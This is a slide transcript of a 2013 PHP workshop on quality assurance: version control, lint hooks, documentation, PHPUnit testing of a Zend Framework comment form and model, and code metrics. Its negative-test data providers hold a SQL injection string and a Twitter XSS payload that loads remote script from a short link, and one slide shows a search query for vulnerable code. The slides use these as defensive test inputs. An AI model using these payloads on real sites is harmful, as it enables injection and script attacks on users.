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Workshop quality assurance for php projects - ZendCon 2013

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Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

Everyone talks about raising the bar on quality of code, but it's always hard to start implementing it when you have no clue where to start. With this talk I'm shooing that there are many levels developers can improve themselves by using the right tools. In this talk I'll go over each tool with examples how to use them against your codebase. A must attend talk for every developer that wants to scale up their quality. Most PHP developers deploy code that does what the customer requested but they don't have a clue about the quality of the product they deliver. Without this knowledge, maintenance can be a hell and very expensive. In this workshop I cover unit testing, code measuring, performance testing, debugging and profiling and give tips and tricks how to continue after this workshop.

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Workshop quality assurance for php projects - ZendCon 2013

  1. 1. Quality Assurance for PHP projects ZendCon 2013 - Santa Clara
  2. 2. Michelangelo van Dam
  3. 3. Thank you for having us
  4. 4. Schedule Workshop Introduction to Quality Assurance Revision control Documenting Testing Measuring Automating Team works!
  5. 5. #phpqa
  6. 6. Introduction to QA
  7. 7. Why QA?
  8. 8. Why QA Safeguarding code
  9. 9. Detect bugs early
  10. 10. Observe behavior
  11. 11. Prevent accidents from happening
  12. 12. Tracking progress
  13. 13. Why invest in QA?
  14. 14. Keeps your code in shape
  15. 15. Measures speed and performance
  16. 16. Boosts team spirit
  17. 17. Saves time
  18. 18. Reports continuously
  19. 19. Delivers ready to deploy packages
  20. 20. Quality Assurance Tools
  21. 21. Revision Control
  22. 22. Subversion
  23. 23. GIT
  24. 24. GitHub
  25. 25. Bitbucket
  26. 26. Mercurial
  27. 27. Bazaar
  28. 28. FTP
  29. 29. Advantages of SCM • team development possible • tracking multi-versions of source code • moving back and forth in history • tagging of milestones • backup of source code • accessible from - command line - native apps - IDE’s - analytical tools TIP:  hooks  for  tools
  30. 30. GIT Workflow
  31. 31. GIT-SCM • Distributed SCM - everyone has a “master” repository • Works with public and private repositories - private: work in progress - public: finished work • Requires hierarchies to manage
  32. 32. Integration Developer Private Developer Private Developer Private Integration Manager Developer Public Developer Public Developer Public Blessed Repo
  33. 33. Branching Commit small Commit often
  34. 34. SCM Branching Master Project Feature Task/Issue
  35. 35. Real world branching
  36. 36. More on GIT • GIT book: http://git-scm.com/book/en • GIT tutorial: http://try.github.io • GIT branching tutorial: http://pcottle.github.io/learnGitBranching/ • GIT Flow: http://nvie.com/posts/a-successful-git-branching- model/ • Github flow: http://scottchacon.com/2011/08/31/github-flow.html
  37. 37. Recommended Reading
  38. 38. Syntax Checking
  39. 39. php  -­‐l  (lint) h@p://www.php.net/manual/en/features.commandline.opFons.php
  40. 40. PHP Lint • checks the syntax of code • build in PHP core • is used per file - pre-commit hook for version control system - batch processing of files • can provide reports - but if something fails -> the build fails TIP:  pre-­‐commit  hook
  41. 41. Syntax php -lf /path/to/filename.php
  42. 42. PHP  Lint  on  Command  Line
  43. 43. SVN Pre commit hook #!/bin/sh # # Pre-commit hook to validate syntax of incoming PHP files, if no failures it # accepts the commit, otherwise it fails and blocks the commit REPOS="$1" TXN="$2" # modify these system executables to match your system PHP=/usr/bin/php AWK=/usr/bin/awk GREP=/bin/grep SVNLOOK=/usr/bin/svnlook # PHP Syntax checking with PHP Lint # originally from Joe Stump at Digg # https://gist.github.com/53225 # for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'` do if [ ${i##*.} == php ]; then CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i` RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE` if [ $RETURN = 'FALSE' ]; then echo $CHECK 1>&2; exit 1 fi fi done
  44. 44. SVN  pre-­‐commit  hook
  45. 45. Documenting
  46. 46. Why documenting? • new members in the team • working with remote workers • analyzing improvements • think before doing • used by IDE’s and editors for code hinting ;-)
  47. 47. PHPDoc2 phpDocumentor + DocBlox March 16, 2012
  48. 48. Phpdoc2
  49. 49. Phpdoc2  class  details
  50. 50. Based  on  docblocks  in  code
  51. 51. And  the  output
  52. 52. Phpdoc2  class  relaFon  chart
  53. 53. Phpdoc2  on  your  project
  54. 54. Testing
  55. 55. unit testing 201: start testing!
  56. 56. Any reasons not to test?
  57. 57. Most common excuses • no time • not within budget • development team does not know how • tests are provided after delivery • …
  58. 58. No excuses!
  59. 59. Maintainability • during development - test will fail indicating bugs • after sales support - testing if an issue is genuine - fixing issues won’t break code base ❖ if they do, you need to fix it! • long term projects - refactoring made easy
  60. 60. Remember “Once a test is made, it will always be tested!”
  61. 61. Feel like on top of the world!
  62. 62. Confidence • for the developer - code works • for the manager - project succeeds • for sales / general management / share holders - making profit • for the customer - paying for what they want
  63. 63. Everybody! likes this.
  64. 64. Don’t end up on this list! extension:php mysql_query $_GET
  65. 65. Unit testing ZF apps
  66. 66. Setting things up
  67. 67. phpunit.xml <phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Unit test suite"> <directory>./</directory> </testsuite> <filter> <whitelist> <directory suffix=".php">../application/</directory> <directory suffix=".php">../library/Mylib/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter> </phpunit>
  68. 68. TestHelper.php <?php // set our app paths and environments define('BASE_PATH', realpath(dirname(__FILE__) . '/../')); define('APPLICATION_PATH', BASE_PATH . '/application'); define('TEST_PATH', BASE_PATH . '/tests'); define('APPLICATION_ENV', 'testing'); // Include path set_include_path( . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path() ); // Set the default timezone !!! date_default_timezone_set('Europe/Brussels'); // We wanna catch all errors en strict warnings error_reporting(E_ALL|E_STRICT); require_once 'Zend/Application.php'; $application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini' ); $application->bootstrap();
  69. 69. Zend_Tool since 1.11.4 • provides • phpunit.xml • bootstrap.php • IndexControllerTest.php Ralph Schindler
  70. 70. Let’s get started…
  71. 71. Testing Zend_Form
  72. 72. CommentForm Name: E-mail Address: Website: Comment: Post
  73. 73. Start with the test <?php class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase { protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; } }
  74. 74. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testFormAcceptsValidData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertTrue($this->_form->isValid($data)); }
  75. 75. Protection! Protection
  76. 76. Little Bobby Tables http://xkcd.com/327/
  77. 77. In the news… Is this YOU?!?
  78. 78. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 100000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;"onmouseover= "$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testFormRejectsBadData($name, $email, $web, $comment) { $data = array ( 'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment, ); $this->assertFalse($this->_form->isValid($data)); }
  79. 79. Create the form class <?php class Application_Form_CommentForm extends Zend_Form { public function init() { /* Form Elements & Other Definitions Here ... */ } }
  80. 80. Let’s run the test
  81. 81. Let’s put in our elements <?php class Application_Form_CommentForm extends Zend_Form { public function init() { $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true)); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true)); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false)); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true)); $this->addElement('submit', 'post', array ( 'Label' => 'Post', 'Ignore' => true)); } }
  82. 82. Less errors?
  83. 83. Filter -Validate $this->addElement('text', 'name', array ( 'Label' => 'Name', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'mail', array ( 'Label' => 'E-mail Address', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('text', 'web', array ( 'Label' => 'Website', 'Required' => false, 'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'), 'Validators' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))), )); $this->addElement('textarea', 'comment', array ( 'Label' => 'Comment', 'Required' => true, 'Filters' => array ('StringTrim', 'StripTags'), 'Validators' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000))), ));
  84. 84. Green, warm & fuzzy
  85. 85. You’re a winner! ☑ quality code ☑ tested ☑ secure ☑ reusable
  86. 86. Testing models
  87. 87. Testing business logic • models contain logic - tied to your business - tied to your storage - tied to your resources • no “one size fits all” solution
  88. 88. Type: data containers • contains structured data - populated through setters and getters • perform logic tied to it’s purpose - transforming data - filtering data - validating data • can convert into other data types - arrays - strings (JSON, serialized, xml, …) • are providers to other models
  89. 89. Comment Class
  90. 90. Writing model test <?php class Application_Model_CommentTest extends PHPUnit_Framework_TestCase { protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); } }
  91. 91. This test won’t run!
  92. 92. Create a simple model <?php class Application_Model_Comment { protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( 'id' => $this->getId(), 'fullName' => $this->getFullName(), 'emailAddress' => $this->getEmailAddress(), 'website' => $this->getWebsite(), 'comment' => $this->getComment(), ); } }
  93. 93. We pass the test…
  94. 94. Really ???
  95. 95. Not all data from user input! • model can be populated from - users through the form - data stored in the database - a webservice (hosted by us or others) • simply test it - by using same test scenario’s from our form
  96. 96. ALL DATA IS TAINTED!
  97. 97. The good stuff public function goodData() { return array ( array ('John Doe', 'john.doe@example.com', 'http://example.com', 'test comment'), array ("Matthew Weier O'Phinney", 'matthew@zend.com', 'http://weierophinney.net', 'Doing an MWOP-Test'), array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com', 'http://caseysoftware.com', 'Doing a monkey dance'), ); } /** * @dataProvider goodData */ public function testModelAcceptsValidData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail('Unexpected exception should not be triggered'); } $data['id'] = 0; $data['emailAddress'] = strtolower($data['emailAddress']); $data['website'] = strtolower($data['website']); $this->assertSame($this->_comment->toArray(), $data); }
  98. 98. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  99. 99. Let’s run it
  100. 100. Modify our model protected $_filters; protected $_validators; public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  101. 101. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  102. 102. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  103. 103. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  104. 104. Now we’re good!
  105. 105. Testing Databases
  106. 106. Integration Testing • database specific functionality - triggers - constraints - stored procedures - sharding/scalability • data input/output - correct encoding of data - transactions execution and rollback
  107. 107. Points of concern • beware of automated data types - auto increment sequence ID’s - default values like CURRENT_TIMESTAMP • beware of time related issues - timestamp vs. datetime - UTC vs. local time
  108. 108. The domain Model • Model object • Mapper object • Table gateway object Read more about it ☞
  109. 109. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase becomes class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  110. 110. Setting DB Testing up protected $_connectionMock; public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  111. 111. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  112. 112. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  113. 113. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  114. 114. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  115. 115. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  116. 116. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  117. 117. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  118. 118. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds); }
  119. 119. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  120. 120. Run Test
  121. 121. What went wrong here?
  122. 122. AUTO_INCREMENT
  123. 123. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs); }
  124. 124. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  125. 125. Run Test
  126. 126. Testing web services
  127. 127. Web services remarks • you need to comply with an API - that will be your reference • you cannot always make a test-call - paid services per call - test environment is “offline” - network related issues
  128. 128. Example: joind.in
  129. 129. http://joind.in/api
  130. 130. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  131. 131. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  132. 132. Testing the service
  133. 133. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> - <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in ✔
  134. 134. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s !
  135. 135. Solution… right here!
  136. 136. Your expectations
  137. 137. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; } }
  138. 138. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  139. 139. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  140. 140. Good implementation?
  141. 141. Controller Testing
  142. 142. Our form flow
  143. 143. Setting up ControllerTest <?php class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); } }
  144. 144. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1); }
  145. 145. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => 'test@example.com', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']); }
  146. 146. REMARK • data providers can be used - to test valid data - to test invalid data • but we know it’s taken care of our model - just checking for error messages in form
  147. 147. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertRedirectTo('/'); }
  148. 148. Running the tests
  149. 149. Testing it all
  150. 150. Testing it all
  151. 151. Our progress report
  152. 152. Conclusion
  153. 153. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  154. 154. Fork this code http://github.com/DragonBe/zftest
  155. 155. Measuring
  156. 156. Code Analysis
  157. 157. Questions • how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?
  158. 158. Answers • PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer
  159. 159. PHP Depend
  160. 160. What? • generates metrics • measure health • identify parts to improve (refactor)
  161. 161. pdepend pyramid
  162. 162. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH:Average Hierarchy Height • ANDC:Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls
  163. 163. Cyclomatic Complexity • metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, … • within a single method or function • more info - http://en.wikipedia.org/wiki/ Cyclomatic_complexity
  164. 164. Average Hierarchy Height The average of the maximum length from a root class to its deepest subclass
  165. 165. pdepend pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes
  166. 166. pdepend pyramid Size and complexity
  167. 167. pdepend pyramid Coupling
  168. 168. pdepend pyramid High value
  169. 169. pdepend-graph graph  about  stability:  a  mix  between  abstract  and  concrete  classes
  170. 170. PHP  Depend
  171. 171. PHP Mess Detection
  172. 172. What? • detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties
  173. 173. PHPMD  in  acFon
  174. 174. PHP Copy/Paste Detection
  175. 175. What? • detects similar code snippets - plain copy/paste work - similar code routines • indicates problems - maintenance hell - downward spiral of disasters • stimulates improvements - refactoring of code - moving similar code snippets in common routines
  176. 176. PHP CodeSniffer
  177. 177. Required evil • validates coding standards - consistency - readability • set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code • can be set as pre-commit hook - but can cause frustration!!!
  178. 178. Performance Analysis
  179. 179. https://twitter.com/#!/andriesss/status/189712045766225920
  180. 180. Automating
  181. 181. Key reason “computers are great at doing repetitive tasks very well”
  182. 182. Repetition • syntax checking • documenting • testing • measuring
  183. 183. Why Phing? • php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation
